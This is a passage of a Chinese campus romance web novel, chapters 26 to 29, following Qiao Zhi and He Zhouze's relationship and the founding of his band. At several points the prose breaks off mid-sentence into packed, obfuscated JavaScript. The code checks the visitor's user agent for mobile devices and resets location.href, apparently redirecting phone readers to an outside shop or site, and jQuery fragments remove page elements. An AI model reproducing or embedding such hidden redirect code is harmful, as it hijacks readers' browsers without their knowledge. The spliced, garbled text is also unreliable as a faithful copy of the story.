温言是自来熟的性子,短短一顿早饭过后,她和乔之已经十分熟络。 她挽着乔之的手,玩笑道:“学妹,以后要是何舟泽欺负你,你告诉我,我们替你出气。” 何舟泽从她那边揽过乔之,假装责怪道:“学姐,我和乔乔才在一起一天。你刚刚霸占了她那么久我都没出声,这下怎么还挑拨我俩的关系呢?” 温言笑着放开了乔之,重新挽上邵明喻的手,摆摆手:“好啦,我不打扰你们的二人世界了。回见!” 等两人走远,乔之问何舟泽:“你们怎么认识的?” 何舟泽一边找车钥匙,一边回道:“他们是音乐社的前辈。” 乔之“哦”了声,心想音乐社的人竟然都如此跳脱。 邵明喻虽然看起来内秀,但毕竟也是个能在跨年舞台上表白的狠人。何舟泽和温言就更不用说了,只一眼,就很难不被他们身上的阳光气质照耀。 “怎么了?你刚刚是被吓到了吗?”何舟泽摸了摸乔之的头,道,“温言学姐是比较自来熟,不过他们都是很好的人。” 乔之摇摇头道:“没。就是觉得你们社团的人都挺……活泼的。” 何舟泽知道她在暗指自己,哈哈笑了两声,说:“也有内向的,有机会可以介绍你认识。” 他转过身去,等乔之坐稳,转动车把手起步,迎着朝阳和晨风大声道:“但不是今天。今天是二人世界!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这学期自开学以来,不断有人在论坛上求问何舟泽的个人信息和联系方式,尤其在别人将他的照片挂上十大热帖后,捞他的人层出不穷。 然而何舟泽的喜欢总是明目张胆,他丝毫不介意将自己的真心昭告天下。 自打和乔之在一起后,他话里行间都是“我女朋友在等我”“我和女朋友一起去看过”诸如此类的话语。他的三个单身室友深受其害,恨不得将他扫地出门。 久而久之,他身边的人几乎都知道他已经脱单,顺手会帮着回一句“何舟泽已经有女朋友了”。 渐渐的,捞他的帖子便少了许多。 乔之起初也常觉得害羞,但她喜欢何舟泽,就是因为他的无畏、自信和炽烈,所以也便逐渐接受了。 “今天我们还去散步吗?”乔之站起身。 何舟泽连忙也跟着站起。他顺手拿过乔之的书包,单肩背在身上,另一边端起餐盘。 他应道:“当然去!乔乔,我们今天去西区逛逛好不好?” 乔之见他换脸似的捡回快乐的心情,笑着答应:“好。” 26. 第二十六章·大学line 期末考后迎来了寒假,江大放假一向很晚,在全国高校里独占鳌头,但何舟泽还是嫌放假时间太长。 他不是江临人,家在隔壁省,坐高铁要三个多小时,这就意味着他有一个多月的时间无法和乔之见面。 临别前,乔之送了他一枚在实验课上做的热缩片,是一只灰蓝色的海豚——权当是她陪在他身边。 寒假期间,两人时常通视频。乔之见到了何舟泽爷爷生前养的那只暹罗,这只猫现在寄养在何舟泽家,毛发比暑假那会儿又黑了不少。 何舟泽又捣鼓着写了几首歌,准备在音乐社在学期初举办的草坪音乐节上表演。乔之从未看过他的现场,于是便答应了一定到场。 转眼过完了年,何舟泽没等到开学就提前回了江临。 他给乔之打电话的时候,乔之正在阳台上帮外婆整理花草。 难得的好天气,适合将前些天移进屋内避风的盆栽搬出去晒太阳。 “乔乔,你猜我现在在哪?”何舟泽故作神秘地问道。 然而乔之在电话里隐约听见一声小孩的叫喊声,刚巧和楼下健身广场那几个孩童的玩闹声重合。她不敢置信地将身子探出阳台向下看,穿着黑色羽绒服的少年站在阳光下,正抬头和她招手。 何舟泽笑着摸摸鼻子:“哎呀,没注意背景音,不小心露馅儿了。” “你……你怎么在这儿?”乔之惊讶极了,因为昨天通话时他完全没提起自己今天就会回江临。 何舟泽一手靠在嘴边,大声呼喊道:“Surprise!” “你等一下,我马上下来!” 乔之的身影消失在阳台上,但电话还没挂断。何舟泽听见话筒那头传来脚步声、呼吸声,还有北风灌进楼道时的穿梭声。 他的乔乔正在一步步向他靠近。 没多会儿,乔之的身影出现在楼道口。她随意披了件外衣,里面还穿着居家服,上面有一对白色的兔子耳朵,跟着她一跳一跳。 何舟泽远远向她打开双臂,然后下一秒,他想念了快一个月的人紧紧环抱住了他。 乔之的脸贴着何舟泽宽厚的胸膛,她能感受到他的呼吸一起一伏。她问:“你怎么来了?” 何舟泽摸了摸乔之顺滑的头发,凑在她的耳边,小声地说:“昨天你说想我,所以我就来了。” 每一个字都稳稳地坠落在乔之的耳畔,扰得她心里痒痒的,像是被猫爪子轻轻抓了一下,但她还是低声地说:“何舟泽,有点肉麻。” 男生半晌没说话,乔之听见他的闷笑声在胸腔回转,一阵一阵地都进了她的耳朵。 她推开他,问:“你刚到吗?” 何舟泽指了指旁边的行李箱,挑挑眉道:“刚下高铁就飞奔来找你了。” 乔之这才注意到他肩上还背着个双肩包,她揪了揪包上调节肩带长度的带子,想起这会儿刚过午饭的点:“你吃了吗?要不要上楼随便吃点……” 何舟泽抓住她的手,笑道:“这就要见家长了吗?太快了吧,我还没准备好呢。” 乔之体寒,这会儿手都是冷的。何舟泽将她的手合拳包住,放进自己的口袋:“手怎么这么冷?得多穿一点才行。” 乔之感受到他的体温从手心传来,暖烘烘的,就像他这个人一样。她摇摇头:“我不冷。” 末了,又追问了句:“真的不上去吗?我们家只有外婆一个人。” “不用啦。”何舟泽晃了晃乔之的手,低头用额头碰了碰她额前的碎发,“你陪我在边上随便吃点就好,我过会儿还要回学校收拾行李。” 最后何舟泽在小区门口的小面馆简单解决了一顿,末了找了个小店寄存行李,而后跟着乔之在附近闲逛。 乔之所住的是个开放式老小区,楼宇之间交错着复杂的树林和小道。江临地处南方,即便是冬日也有大片的常绿落叶林。 两人牵手漫步在矮旧的居民楼之间,树影幢幢,掩盖着他们的行踪。 “我们高中也种满了这种树。”乔之伸手接住了一片从头顶飘落的树叶。深绿色的叶子边缘有些微微泛黄,落在手心的瞬间发出了一声轻响。 何舟泽取过她手中的叶子,仔细端详了一会儿,笑道:“我高中也种这种树,不过那会儿很少像现在这样停下来仔细观察。” “我倒是常常观察这些东西——”乔之盘点着,“树叶、枯草、花朵、野猫,甚至是蚂蚁。” 乔之回忆起她的高中生活,似乎除了读书,就是在观察自然中的这些奇妙组成。她不善交际,交心的朋友很少,上下学路上常常独来独往。她在那三年过得并不快乐,所以常借此消遣,调节心情。 何舟泽的高中生涯是另一副光景。他成绩不错,性格好相处,对谁都坦诚热情,所以大家都爱和他玩。无论走在哪儿,都有人会和他打招呼——就和现在一样,他在哪都如鱼得水。 “乔乔,要是我高中就认识你就好了。”何舟泽又接住了一片叶子,像是要托住她过去那些他不曾参与的时光。 乔之抬头,看见云朵从树枝背后穿过,暮色已经从天边走来。 她问:“为什么?” 何舟泽低头看她,认真道:“因为,我想给那时候的你多一点爱,想要你无论什么时候都开心。” 乔之过往接收到的所有关心和善意都是含蓄的、不流于表的,就连她自己都不擅长表达内心。从来没有人像现在这样,真挚且直白地告诉她,想要给她多一点爱意。 她踮起脚,轻轻在何舟泽嘴角啄了一下。 何舟泽感觉到好像有一片羽毛拂过他的脸颊,轻柔的、小心翼翼的。他看见乔之不好意思地偏过头,露出一截雪白的后颈,身前的兔子耳朵也垂了下去。一瞬间,他的心被勾起了。 他扣住乔之的脑袋,低头吻了下去。 晚风路过了这条林间小道,被吹落的树叶发出“簌簌”声响,在空中盘旋片刻后才不甘心地落到地面。 乔之的脑子一片空白,她又闻到了何舟泽身上那股淡淡的茶香,温柔却直白,就像他的这个吻,轻轻地落下却久久不肯离开。何舟泽长长的睫毛扫到了她的脸,她的心轻轻一颤,忽地感到一阵酥麻。 暮色终于沉沉地迫降,居民楼升起了烟火气。乔之远远听见楼里传出稀松平常的对话,转而又听见他们俩混作一团的呼吸声。他们就像全天下最普通的一对情侣,在黄昏里接吻、传递爱意。 直到天色渐暗,两人才在地铁口分别。 乔之家和江大是两个方向,中途地铁还要换乘一次,来回少说也要两个小时。但何舟泽不嫌麻烦似的,而后一周天天都跨越半个城市来找她。 开学前一天,乔之收到何舟泽的微信消息,正准备下楼时,外婆叫住了她。 老太太躺在阳台的一把摇椅上,面朝着太阳,眼睛微眯着。她的语气还是一如既往的严肃:“今天叫那孩子来家里吃饭吧。” 乔之没告诉她自己谈恋爱的事,装作不解。 外婆抬手指了指楼下,一副了然的表情,冷哼一声道:“人家天天在楼下吹冷风等你,你怎么也不好好招待一顿?” 乔之这才意识到,她们家在三楼,只消在阳台往外看一眼,楼下的情形便一目了然。外婆显然是早就发现了这一周何舟泽天天来找她,而他们回回都手牵手,论谁都能看得出眉目。 虽然她已经上大学,但被长辈撞见谈恋爱还是件令人尴尬的事情,尤其在外婆这种严厉的性子面前。 她只好讪讪一笑,回道:“好。” 等下了楼,告诉何舟泽这个消息时,男生顿时紧张得手忙脚乱。临傍晚了,他提着一大堆礼品上门,虽然表面上还是笑意盈盈,言语间落落大方,但乔之看出他实际上浑身紧绷,像只鹌鹑。 乔之从未见过何舟泽这个模样,忍不住在背后偷笑。 不得不说,何舟泽的确是讨人喜欢的性子。一顿饭下来,外婆虽然面上不显,但乔之知道她对何舟泽很满意,否则也不会叫他日后多来家里吃饭。 不过等到了开学,乔之也回了学校,何舟泽便没有时间再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445166|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去她家吃饭。 音乐社是个大型社团,每学期都会组织很多活动。开学后不久的草坪音乐节算得上其中一件大事。 何舟泽这次报了一个节目,演唱的曲目是他寒假里写的原创。 以往他一有什么灵感都会迫不及待地分享给乔之,但关于这次的新歌,乔之却一点都不知情。 等到了演出那天,已是初春时节。三月的江临已经渐渐回暖,校园里的植物开始冒绿吐芽。小剧场外的草坪边,有几丛野花先声夺人,在还夹杂些许冷意的春风里摇曳着。 音乐社在草坪中央搭了个舞台,陈设看似简陋,但乔之听说他们的音响设备都是顶好的配置,一个个都跟不要命似的烧钱。 草坪音乐节在学校里的热度很高,时间又是在周末,因此到场的人远超乔之想象——听说还有一些外校的来凑热闹。 乔之没参加过音乐节,加上她不是外放的性格,每逢热闹的歌她在狂舞的人群里就显得尤其格格不入。而何舟泽的出场次序比较靠前,一早就在后台候场准备,不能陪她在现场。 “嗨,学妹!”有人拍了拍乔之的肩膀,挤到了她身边。 乔之转头一看,是温言。她脸上画着比平时更夸张的妆容,整个眼窝都抹上了细闪的亮片,看上去今天也有演出。 温言将一根荧光棒塞到乔之手中,说道:“何舟泽担心自己的女朋友一个人无聊,托我来带你玩儿!” 这会儿正好是个说唱节目,现场的音乐震耳欲聋,身边的人都跟着音乐在蹦迪狂欢,乔之被温言抓着一起跳动起来。 “学姐,你今天也有表演吗?”乔之问了一句,但见温言听不清,提高音量又问了遍。 温言跟着观众欢呼了一声,而后才大声地回答道:“我的节目在很后面。” 她说完这句话,台上的歌手正好完成了演出,音乐骤然停下,身边依旧是不止的欢呼嬉闹声。 温言推着乔之往前走,说着:“快,下一个就是何舟泽了。” 人群熙熙攘攘,乔之起先站的位置靠后,没等走到前方,就已经听见音响里传来熟悉的声音。 “大家好,我是何舟泽。” 何舟泽的人缘很好,现场有不少人认识他,四面八方都有人为他呼喊。 与他一起的还有两个人,一男一女。男生远远看着身形高大,女生个子也很高挑。 音乐响起,是一首耳熟能详的快歌,节奏振奋带感。舞台下的观众尖叫着,更加挤作一团,乔之和温言几乎不得动弹。 “糟了糟了糟了。”温言一边默念着,一边努力顶着别人不满的目光将人群拨开。 乔之费了好大劲才和温言挤到最前排,等她站定,第一首歌已经结束了。 温言拍着胸脯在一边庆幸道:“还好把你送到了……” 然后乔之就什么也听不见了。 因为她抬眼看向舞台时,何舟泽正站在中间望过来,四目相对。 天色已逐渐暗下来,周围环境都染上了分毫夜色,校园的路灯在那一霎那忽地亮起,现场的荧光棒交相辉映。 乔之的内心寂静无声,此时此刻她只看见了少年眼底盛满了星光。 何舟泽拿起话筒:“下面这首歌,是我的一首原创,名字是《不唱情歌》。” 他说话的时候,视线未曾从乔之身上离开过。 少年清亮的嗓音抚平了现场的喧杂,他咬字清晰,每一句歌词她都听得清清楚楚。 “ …… 我想写的诗篇, 早已在雨中绽放。 原来情歌不必唱, 你是爱的具象。 …… ” 最后的音节落下,何舟泽对着她一字一句,神情真挚:“这首歌,送给我爱的人。” 他的爱永远不掩藏,炽热、明媚,比太阳还要夺目。 乔之听见自己的心跳震天动地,扬起的涟漪层层叠叠,不停回荡。 她想,她再也忘不了这首歌了。 27. 第二十七章·大学line 深夜,江大校园周边的夜宵一条街人来人往、灯火通明。无数烧烤小店支起了遮雨棚,将座位摆到店外。街道两侧全是不绝于耳的喧闹声,宣告着这条街才刚刚苏醒。 乔之面前坐着一男一女,男生理着寸头,女生绑了个高马尾,耳上一对大大的银色耳环——正是刚刚和何舟泽同台演出的那两个人。 男生首先开口打招呼:“你好,我叫姚朔,法学大一。” 高马尾女生拿过一瓶可乐,“砰”一声拉开拉环,表情很酷:“夏安语,建筑系大一。” 姚朔和夏安语刚刚正准备去参加音乐社大部队的聚餐,不想率先路过了现在这家店。何舟泽的脸本来就仿佛在另一个次元,更别说他今晚的头发因为演出喷染了几处显眼的灰蓝色。 他们只一眼就发现坐在门口的他,而他身旁显然就是今晚情歌的女主角。 两人顿时生起了八卦之心,索性不去凑热闹,当即扯了两把椅子在这桌坐下。 何舟泽也拿着瓶可乐,他低头想打开扣环,不想因为刚剪了指甲,一时没用上力。他四处瞧了几眼,准备找根吸管借力。 他在找寻的空隙里抬头介绍了一声:“乔乔,这是我今晚一起合作的音乐社朋友。” 说完,他找到根吸管,压扁后从拉环下穿过去,终于打开了可乐,推给了乔之。 乔之接过来,向面前的两人微微颔首:“你们好,我叫乔之。” “久仰大名。”夏安语正在菜单上圈圈画画,抬头对她笑了笑。 乔之不明所以,姚朔指了指何舟泽:“这个人天天把你挂嘴上,我都听烦了。” 一旁的何舟泽正在用一样的方法开第二瓶可乐,姚朔看到后嫌弃道:“开个易拉罐这么费劲,我来。” 何舟泽顺势把可乐递了过去,另一只悄悄在桌下握住了乔之的手。 他笑道:“你的羡慕都写在脸上了。” “确实。”夏安语跟着点点头,故意往外坐了坐,拉远了和姚朔的距离,“是有点吃不到葡萄说葡萄酸。” 姚朔扭头,又从夏安语那边拿过菜单,哼哼道:“随你说,反正今晚这顿你请定了。” 江大学生之间一直有脱单请客吃饭的习俗,姚朔对这顿饭翘首以盼了很久。 他们仨是在开学初的一次音乐社内部活动相熟的。 音乐社素来有内部定期交流音乐的习惯,那一周轮到大一年级分组即兴表演,他们三个正好被分配到了一起。姚朔会弹贝斯,夏安语擅长键盘,加上何舟泽刚好可以凑一个简易的小型乐队。 大部分的小组都是表演已有曲目,且多是些耳熟能详的流行歌曲,方便短时间内达成合作。然而他们三个人都对原创很感兴趣,各自取了一段自己写过的曲子,最后拼了首新歌出来。 有过这一次经历,几人的交流便越来越多,常常凑在一起讨论如何写歌。 姚朔又加了好几个菜。 何舟泽看了眼菜单,一整面几乎都快被画满了。他摇了摇菜单,开玩笑道:“你以后谈恋爱可千万别被我发现。” 姚朔满不在乎地做了个“请”的手势,示意何舟泽快去下单。 等何舟泽走后,夏安语喝了口可乐,对乔之眨眼说道:“女主角,今晚惊喜吗?” 她说起话来,神情很是灵动,和她酷酷的外表全然不同。 乔之想到刚刚在舞台下的怦然心动,有些不好意思地点点头。 而后她想了想,问道:“这首歌是你们一起写的吗?” “这是他给你写的歌,我们哪能插手呢。”姚朔也喝了口可乐,摆摆手道,“我俩单纯来凑个人头,为你们的爱情助助兴。” 姚朔性格直爽,很爱开玩笑,夏安语时不时插上几句与他斗斗嘴。与上次和温言吃早饭相比,这顿夜宵皆是同龄人,没有距离感。一顿下来,乔之的心情始终很愉快。 鉴于这次演出效果超出意料,他们几人都很兴奋。等烧烤上了桌,桌上还在聊组建乐队的事情。 这家店虽然人气爆满,但菜上得很快。五花八门的烤串平铺在两个大烤盘上,香气扑鼻。 夏安语捡了串烤面筋,一手托腮:“如果我们的乐队真的能组建成功,那这次也算是我们的出道舞台了。” “还得找个鼓手。”何舟泽却没那么乐观,他伸手又给乔之拿了两串牛肉,“这家牛肉很不错。” “张智不行吗?”姚朔想了个人选。 何舟泽摇摇头道:“他的控制力不太好,状态不好的时候节奏很乱。” “梁恺倒是挺不错的,”夏安语抬眉想了想,随即又否决了,“但他大三了。等下学期升大四,估计没精力参加。” 三个人面面相觑,最终也没讨论出个合适的人选,组建乐队的事因为鼓手空缺一直没推下去。 不过乔之后来倒是常常和姚朔与夏安语见面,有时何舟泽练完歌或者参加完活动找她吃饭,也会顺便带上他们俩。 过完大一下学期,接着又是两个月的漫长暑假。 事情终于在大二上学期迎来转机。 一天,四个人又凑在一起吃夜宵。 那天乔之在图书馆赶完一份实验报告,心情愉悦地去小剧场等人。等见到另外三个人时,她发现他们的情绪也颇为高涨。 夜晚小剧场一楼不开灯,站在外面看不清楼道里的情形。乔之首先听见了姚朔兴奋的声音:“老何,你刚刚那一下真的是太精彩了。你比我想象中还要有点东西。” 而后几人的身形从黑暗中逐渐显露出来,夏安语走在另一边,脸上也是一副扬眉吐气的神情:“不得不说,我也被爽到了。” 何舟泽率先看到站在小剧场楼下等他们的乔之。他抛下身边那两个人,小跑过去,帮着取下她肩上的书包,顺势就背到了自己身上。 他牵住乔之的手,轻声问:“等很久了吗?” 乔之摇摇头道:“没。” 末了又见每个人都喜上眉梢的样子,笑着问了句:“你们今天是有什么好事吗?” 姚朔跟上来,轻轻地撞了撞何舟泽的肩,得意道:“今天有个学弟目中无人,老何在他面前炫技了一把,炫得对方哑口无言。” “那人鼓打得还不错,就是太恃才傲物了。还好老何能压制他,不然我得气吐血。”夏安语也走了过来。 原来今天音乐社组织了一次新社员才艺展示,有个新入社的大一学弟打得一手好架子鼓,但是人却高傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔之忽然想起今天写的化学实验报告,她小心地提议道:“‘同位素’怎么样?你们就像同一元素的不同形态。” 另外四人思考了片刻,都挑不出毛病。 姚朔举起自己手中的饮料和乔之碰了个杯:“这个名字好!取名还得是乔之这样的读书人。” 夏安语和颜叙也觉得这个名字不错,既有创意又有内涵。 何舟泽找出纸笔,写下了这三个字,他的字迹苍劲有力。而后,他又将中间的那个划去,填了个新的字:“改成‘味’怎么样?音乐品味也相同。” 罢了,他又笑着补充了一句:“之后要是出名了,别人一搜这个名字就能找到,不用在化学名词里找我们。” 最后,“同味素”得到全票通过。 乐队有了颜叙的加入,一切都推进得很顺利。 后来他们四人以乐队名义参加了音乐社好几场对外公开的小演出。 可惜的是,乔之这个学期很忙,一直找不到时间到现场观看。等有机会,已经是“同味素”乐队拿到跨年晚会演出资格的时候了。 28. 第二十八章·大学line 跨年晚会的演出名额提前一个月就确定了下来,乐队几人在活动室花了一个下午的时间,初步定下了演出曲目。 这间活动室过去是一个小型的练舞房,后来因为空间不够便被淘汰了,颜叙不知用了什么办法把这个地方申请下来当作他们乐队的活动室。 他们刚拿到的时候,这间经年未用的房间里堆满了废弃的杂物,地板上也积了厚厚一层灰尘。 他们几个花了一个周末的时间将房间清理了出来,又搬进了不少必需设备,最后看起来竟也像模像样。 “到点了,我们干饭去。”姚朔看了眼手机,差不多已经到晚饭时间。 夏安语一边说着“干饭数你最积极”,另一边也站起来收拾东西。 颜叙帮着理了理满桌的废纸,转头问一旁安坐着的何舟泽:“不一起吗?” 何舟泽摇摇头:“我在这儿等乔乔,你们先去吧。” 到了大二,他们俩几乎没有重合的课程。两人都有自己的事情要忙,见面时间不多,因此只能每天抽空一起吃晚饭。 另外三位早就习以为常,也没多留,勾肩搭背地一边讨论吃什么一边离开了。 乔之下午约了一个教授聊科研训练的事情,这会儿刚好结束了往小剧场这边来。 她到活动室的时候,房间门虚掩着,暖白色的光线从门缝里溢出。她推开门,看见何舟泽正在墙角的小桌上写写画画。 见她来,何舟泽起身收拾好东西,准备离开。 不想,窗外忽然传来“噼里啪啦”的响动。 下雨了。 乔之这才想起,她刚刚来的路上,天空就已经布上了乌云。当时她没多注意,这会儿竟积累了成片的雨落下来。 几声惊雷响动。这个季节碰到雷雨天还真是少见。 活动室的窗户半开着,密集的雨珠跳进了屋内。窗台上不知是谁随手丢了些乐谱,笔记潦草,看不出还有没有用。 雨更大了,两人赶紧抢救了这叠稿纸,快速合上了玻璃窗。 乔之站在窗前看着雨幕叹气,她今天穿了双新鞋,实在是舍不得这么出去糟蹋。 何舟泽笑着拉过她:“那我们等雨停了再走。” “正好,我这几天又写了一首歌。”他拉着乔之在一侧的电子钢琴前坐下。 乔之顺势坐下来安静地听了一会儿。 何舟泽现在对写歌已经越来越得心应手,创作能力日渐提升。虽然还没有写出让人耳目一新的曲子,但也已经有模有样。 他这次写的还是一首情歌,乔之听见歌词里偷藏着那些只有他们俩知道的暗语,心里不禁翻起一些隐秘的雀跃。 一曲完毕,他的手指又接着随意按了几个琴键,然后他转头问乔之:“乔乔,你想学这首歌吗?” 这首只有他们俩知晓的秘密情歌。 乔之心动地点点头。 何舟泽坐在她的身侧,带着她的手在琴键上跃动着。 乔之今天在外套里面只穿了件薄薄的白色线衫,何舟泽带她弹琴的时候,一手绕过她的后背,似是将她环抱在怀中。 这会儿他们靠得很近,她隐隐约约能听见他们俩衣料摩挲的声音。乔之又闻见了他身上那股淡淡的茶香。 起初她以为是他用了某品牌的香水,后来才知道这个味道是他家乡赫赫有名的春明茶。 何舟泽家中做茶叶生意,除此以外还做一些茶叶的周边产品,比如香薰之类的。何舟泽许多衣服上都有这个味道,久而久之,连带着他自己,也沾上了这丝清香。 乔之很喜欢这个香味,温柔又干净,如春雨般润物无声。 何舟泽忽然轻笑了声,手停了下来:“在想什么呢?心不在焉的。” “我在想,”乔之转过头,看见何舟泽近在咫尺的脸,那双透亮的眸子里只有她,“你身上的味道真好闻。” 何舟泽摸摸她的头,又搂紧了她:“那我下次让我爸妈多寄点茶叶。” “香薰我也喜欢。”乔之忍不住得寸进尺。 何舟泽又凑近了几分,满眼笑意地问道:“是喜欢香薰,还是——喜欢我?” 乔之的心跳瞬间加速,她移开眼,看见何舟泽的喉结在轻轻滚动。 她轻声道:“……喜欢你。” 何舟泽将她的脸转过来,额头相贴。 他的呼吸变重了几分,他低声回应:“我也喜欢你。” 然后便落下了一个炽热的吻。 两人虽然在一起快一年,但正经接吻的次数屈指可数。乔之看着冷淡,实则很容易害羞,何舟泽一向不敢太放肆。平时他们之间的吻常常是蜻蜓点水般,克制又自持。 然而今天听见乔之的坦诚表白,他像是一颗乱跳的火星子乍然撞上明火,一下子炸开了。 何舟泽的嘴唇柔软而滚烫,就如他这个人一般。他的吻像一场大火,包裹着乔之,快要无法呼吸。 “何舟泽……”乔之轻轻推开何舟泽,喘息着,“门没关紧。” 活动室的门年久失修,锁扣常常对不准,轻易不能关紧。刚刚乔之进来时只轻轻带上了,这会儿被风吹开了一条细细的门缝。 昏暗的走廊寂静无声,乔之生怕有人会路过,撞见他们这场熊熊燃烧的大火。 窗外是狂风暴雨,豆大的雨珠敲击着窗玻璃,连同着风,一阵一阵的撞击声就和乔之的心跳一样凌乱。 突然间跳闸了,活动室的灯彻底罢工,整个房间顿时陷入了黑暗。 两个人的气息全乱了,乔之隐约能看见何舟泽那双清亮的眼睛,这会儿也染上了几分迷离。 无端的旖旎和暧昧在昏暗中蔓延。 “我……”乔之的声音有些沙哑,然而话音未落,窗外炸起一个惊雷,惊天动地的巨响吓得她不自觉钻入何舟泽的怀中。 乔之听见头顶上传来他的几声闷笑。 他将她搂紧了,动作轻柔,两人瞬间又回到了平日的相处模式。 如果忽略声声如擂鼓的心跳,刚刚好像什么都没发生。 “你下午和老师聊得顺利吗?”何舟泽的声音里也有些含糊不清的沙哑。 乔之“嗯”了声,轻咳了几下:“挺顺利的。下周就准备进实验室学习了。” “真好。”何舟泽蹭了蹭她的头发,“那我也要努力,不能给乔乔拖后腿。” 他们都要在各自的路上不断前进。 乔之认真地说:“你们的演出也一定会顺利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445168|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 承了乔之的吉言,一个月后“同味素”果然在新年晚会上大展风采。 他们唱了一首原创,舞台炸裂,调子抓耳,歌词也颇有精气神儿。 跨年夜之后,乐队在江大校园里名声大噪,校园论坛上讨论他们的帖子层出不穷,他们甚至在整个江临大学圈都隐隐有了些人气。 何舟泽作为乐队主唱,一度成为了话题中心人物。喜欢他的女生不少,只不过大家都知道他有女朋友,倒是没什么人凑到跟前来表白。但其他几人就不一样了,尤其是外貌同样出众的颜叙。 “下次我要向你收寄存费了。”夏安语将一打情书递给颜叙。 颜叙正窝在墙角玩手机,顺手拒绝了几个好友申请,抬头懒懒道:“学姐,你没有偷看吧?” 夏安语登时无语,她将信封丢到颜叙怀里,翻了个白眼:“谁稀罕呢。” 颜叙天天一副浪荡的酷哥形象,和不少女生都相处暧昧,却没有正儿八经地恋爱,所以追他的人不绝如缕。 这个年代还有人写情书,属实是罕见,但颜叙很少加陌生人好友,故而借递情书、送礼物来接近他的人不在少数。 “诶,中文系的汤乐怡加我了。”姚朔这会儿也在看手机。 他刚通过了一条好友申请,对方是中文系有名的大美女,颜正身材辣,是他喜欢的类型。 当他以为爱情要降临的时候,夏安语给他泼了盆冷水:“她上周刚给颜叙写过情书。” 而且写了整整十页纸,那遣词造句,任谁看了都不由得说一句“不愧是中文系”。 姚朔发了个表情包过去打招呼,不死心道:“说不定发现颜叙海王本质后,还是觉得我这种朴实猛男比较靠谱。” 紧接着,颜叙又给了他当头一棒:“没,那情书是写给何舟泽的。她之前也拐着弯跟我打听他的事儿。” 何舟泽不收情书,也不收礼物,所以大美女想了个曲线救国的法子。十页情书里,只有前两页是写给颜叙的。 他那会儿越看越不对味儿,通篇都像是在奉承他,不像是表白。果然,两页快结束时笔锋一转,恳请他把后面八页正经情书转交给何舟泽。 能想出这么个办法,也是个人才。 话音未落,像是要验证颜叙的话似的,那头发来了一则微信:【你下学期打算选什么体育课呀?乐队其他人呢?比如……何舟泽?】 谁看了都知道重点在最后一句。 姚朔“靠”了一声,将手机丢远了。 夏安语嘲笑了他一声,转向颜叙问了句:“那你后来转交给老何了吗?” 颜叙拆了封情书,头也没抬道:“那当然。”他可没有昧着别人情书的兴趣。 他话音一转,又说:“不过听说他立马上交给乔之以表清白了。” 乔之当时看到何舟泽塞过来厚厚一沓信纸,一时没搞懂他是什么意思。等看清信上的内容后,她笑着捶何舟泽:“别人给你写的情书,你给我干嘛?” 何舟泽正襟危坐,严肃道:“信是颜叙收的,我一眼都没看过。我的心里只有你。” 乔之见他一副正经的样子表示忠贞,瞬间笑倒了。 这是他们在一起的第一年。 29. 第二十九章·大学line 转眼又过完一个寒假,新学期乔之和何舟泽又有一门课程重合。 与此同时,同为理工科的夏安语和颜叙也选了这门复变函数,而身为法学生的姚朔也恰好于同个时间段在这栋楼里上专业课。 乐队成立将近半年,几人的关系越发密切。 复变下课后,大家通常会顺路一起吃个便饭。 这天中午,姚朔随意地在视频网站上浏览,划过一个个“神曲合集”“编曲指南”之类的视频,忽然刷到了一个不同寻常的画面。 他震惊地将手机推到其他几人面前:“靠。这不是咱们新晚那个舞台吗?” 屏幕上赫然显示着两个月前他们在跨年狂欢夜上表演的舞台,像是特意从官方拍摄的片子里把他们这一段剪了出来。 江大跨年晚会的方方面面规格都很高,无论是音响、舞美还是摄影运镜,都不输电视台。 他们这个舞台的效果放在手机里看,也没有丝毫的减分。 颜叙打开自己里的视频软件,见这个视频已经挂在了同城热榜上,他一挑眉:“哟,上同城榜了。” 语气傲娇得很,言下之意是自己又要受到更多关注了。 何舟泽在姚朔手机里随意瞄了几眼。 这个视频的弹幕和评论区里除了有赞叹外,还有很多人在跪求乐队更多信息。毕竟他们这个名不经传的乐队刚刚成立半年,知名度几乎仅限于江临大学内部。 姚朔划拉了几下屏幕,满屏都是“主唱好帅”“鼓手太酷了吧”“跪舔键盘手小姐姐”之类的言论,半天才能翻到几条夸他的。 他不满道:“怎么没什么人夸我?那天我感觉自己还挺酷的。” 夏安语懒得找视频,干脆凑在颜叙边上看他的手机。 她伸手飞速地给几个夸自己的评论点了赞,故意气姚朔:“夸你什么?搞笑男?” 